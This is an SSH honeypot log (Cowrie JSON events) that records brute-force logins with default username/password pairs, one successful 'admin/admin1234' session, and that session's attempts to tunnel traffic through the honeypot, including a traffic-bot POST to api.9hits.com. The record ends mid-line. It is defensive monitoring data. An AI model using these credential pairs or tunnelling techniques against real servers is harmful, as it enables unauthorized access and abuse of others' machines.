{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.336863Z","src_ip":"91.92.40.36","session":"1fce1fea6e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.784700Z","src_ip":"45.153.34.195","session":"ad928d1b9e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:36.167437Z","src_ip":"91.92.40.36","session":"750a687cecca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38668,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b1f9f55a43","protocol":"ssh","message":"New connection: 91.92.40.36:38668 (159.203.135.109:22) [session: 32b1f9f55a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:36.733689Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:36.952563Z","src_ip":"45.153.34.195","session":"ad928d1b9e96","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.161312Z","src_ip":"91.92.40.36","session":"438c61680b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.170631Z","src_ip":"91.92.40.36","session":"438c61680b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":65009,"dst_ip":"10.17.0.5","dst_port":22,"session":"785018740d6b","protocol":"ssh","message":"New connection: 113.164.152.20:65009 (10.17.0.5:22) [session: 785018740d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.491130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.495857Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.776456Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52754,"dst_ip":"10.17.0.5","dst_port":22,"session":"943441d8e323","protocol":"ssh","message":"New connection: 45.153.34.195:52754 (10.17.0.5:22) [session: 943441d8e323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.956327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:37.964617Z","src_ip":"45.153.34.195","session":"943441d8e323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"321","message":"login attempt [debian/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:38.075130Z","src_ip":"91.92.40.36","session":"bf4573fa0cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:38.139999Z","src_ip":"45.153.34.195","session":"943441d8e323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"webtest","message":"login attempt [webtest/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:38.515312Z","src_ip":"45.153.34.195","session":"943441d8e323","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:39.066022Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:39.599471Z","src_ip":"45.153.34.195","session":"943441d8e323","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.170848Z","src_ip":"91.92.40.36","session":"32b1f9f55a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.174057Z","src_ip":"91.92.40.36","session":"32b1f9f55a43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.547580Z","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.611802Z","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52766,"dst_ip":"10.17.0.5","dst_port":22,"session":"e65754af4dbe","protocol":"ssh","message":"New connection: 45.153.34.195:52766 (10.17.0.5:22) [session: e65754af4dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.951401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:40.960533Z","src_ip":"45.153.34.195","session":"e65754af4dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.053614Z","src_ip":"45.153.34.195","session":"e65754af4dbe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.164667Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 Edg/86.0.622.43\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Qz50flolYTBkbFJNZnVAQw%3D%3DLd2do5Lz7xJ0sMzrkzZSbvHEx9VMDH0pP5ChfRtQf9fpGuQEPKfTLQN2yUvCLnJvIkfOERsRqaSWkSQL2%2BXaYJC2%2BkS7ncPw%2BLRTggfuxSfh8j4RTrMtnd3hHuccmwjNE%2Bv64kf6pR%2BbPZK431e%2BDrJ6xZ939FozJ4QPYlv95UbIK1BkPAIHqTNsP8NgYLJq%2FsMNyQA9RCdaw5pUW5mQBxWHVpjnTj7WsolzxmEYeWdXhcG3ML1ISTYN%2FarVFEvS9oSWDGMUSzMdThPeFvY79x3QffZPwTCs7zmtnqraqo1exJM1ZVkPQdgtEhTjxqlHHsJUrwxJgsK4isHdBezQjASeiB2ey0YraXFsoW9jWTOx3Io49u5xqpJAg5rO2f1shYeEOJyOU7zmnhkrljJ4fZaX13Xuij4SSK1JfAlJQLvJdUvaSJdBsJl38rEgbDi6POOzKqnS99gFUcziDK5Mj9uAaiNAsyOIwfa6wIkzEU%2BKLFRyVPS4Riw9JfrX8yx9vXD0mqAWfe0QiboAtXKPGgIPUIsugGQKiccpdiCYtc4YLEgSTy4czciUymyDg7V5vtJUVJZVohLdExsstx77oEvGQt3e7HzhITWc4Y0Yi8%2Fw4sXvhTZ9PFwebW5fCoUcqlmrE0Lk8PPq6qL11IDkG9ZyO%2F6wLD8WvPg%2FiNzhTqEvDoQf2JNa193BDksDL3gTfh%2Bl%2FvvFYIeXSsovrF5aCbaBljmVqD%2FkQBnJfIPajzAVMjhlp7S1FDFjJKyYr9IuF437%2FoPgchCkOnUPUKQ0GVw39ZvYC1f2eu8yeqkVe0NJyaghEPlAmrX1utmkFqbSO4ZTJNY9pAdz1Foh4AD%2FHpEuR0xS%2Fa%2FpKpYsiP4TNJzZZdLVzXX%2BO%2FNcaVVGW1t30MLUVTgFPDWseluhqM2050Om%2BEaV55%2BMeits2T3OjgDwHA4eZvTiXnpWBWFLhN81SwORiF0O7YilU4At3MEQ%2BJMXx9flxL5nJiARgoeegqqzE5Ci6ykQd%2FHm0V56BSnUKtnViqGdD7L%2FmojOXbcS7GmfUlKusmTngfDycc9n7jISv1o8wGxtt3Th2IdAsqQg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 Edg/86.0.622.43\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Qz50flolYTBkbFJNZnVAQw%3D%3DLd2do5Lz7xJ0sMzrkzZSbvHEx9VMDH0pP5ChfRtQf9fpGuQEPKfTLQN2yUvCLnJvIkfOERsRqaSWkSQL2%2BXaYJC2%2BkS7ncPw%2BLRTggfuxSfh8j4RTrMtnd3hHuccmwjNE%2Bv64kf6pR%2BbPZK431e%2BDrJ6xZ939FozJ4QPYlv95UbIK1BkPAIHqTNsP8NgYLJq%2FsMNyQA9RCdaw5pUW5mQBxWHVpjnTj7WsolzxmEYeWdXhcG3ML1ISTYN%2FarVFEvS9oSWDGMUSzMdThPeFvY79x3QffZPwTCs7zmtnqraqo1exJM1ZVkPQdgtEhTjxqlHHsJUrwxJgsK4isHdBezQjASeiB2ey0YraXFsoW9jWTOx3Io49u5xqpJAg5rO2f1shYeEOJyOU7zmnhkrljJ4fZaX13Xuij4SSK1JfAlJQLvJdUvaSJdBsJl38rEgbDi6POOzKqnS99gFUcziDK5Mj9uAaiNAsyOIwfa6wIkzEU%2BKLFRyVPS4Riw9JfrX8yx9vXD0mqAWfe0QiboAtXKPGgIPUIsugGQKiccpdiCYtc4YLEgSTy4czciUymyDg7V5vtJUVJZVohLdExsstx77oEvGQt3e7HzhITWc4Y0Yi8%2Fw4sXvhTZ9PFwebW5fCoUcqlmrE0Lk8PPq6qL11IDkG9ZyO%2F6wLD8WvPg%2FiNzhTqEvDoQf2JNa193BDksDL3gTfh%2Bl%2FvvFYIeXSsovrF5aCbaBljmVqD%2FkQBnJfIPajzAVMjhlp7S1FDFjJKyYr9IuF437%2FoPgchCkOnUPUKQ0GVw39ZvYC1f2eu8yeqkVe0NJyaghEPlAmrX1utmkFqbSO4ZTJNY9pAdz1Foh4AD%2FHpEuR0xS%2Fa%2FpKpYsiP4TNJzZZdLVzXX%2BO%2FNcaVVGW1t30MLUVTgFPDWseluhqM2050Om%2BEaV55%2BMeits2T3OjgDwHA4eZvTiXnpWBWFLhN81SwORiF0O7YilU4At3MEQ%2BJMXx9flxL5nJiARgoeegqqzE5Ci6ykQd%2FHm0V56BSnUKtnViqGdD7L%2FmojOXbcS7GmfUlKusmTngfDycc9n7jISv1o8wGxtt3Th2IdAsqQg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.167967Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.171987Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x90\\x04\\xc9\\xfd^\\x15CV\\x87\\xc1\\xd4 \\xf0m\\xa9\\t\\xb3\\x8fR\\x98DB\\xdcn\\x85I\\x87\\xfb\\xed\\xabR 7/\\xb4No\\xc3\\xb3\\x91\\x04\\x8f\\xc4\\xbf`\\x8a\\xf18\\xa2vj(\\xe3`5'\\xe8z\\xd6w\\xea%\\xd4\\xc6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\xe9L\\xdd\\xa5\\x01\\x8c\\xd7\\xc2\\x08\\x91\\xcd\\x0ec\\xfb\\x8d\\xd8b\\xd3\\xff\\x0f\\xbd\\x18\\xc9\\xba(\\x1a\\xbcI8\\x80[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x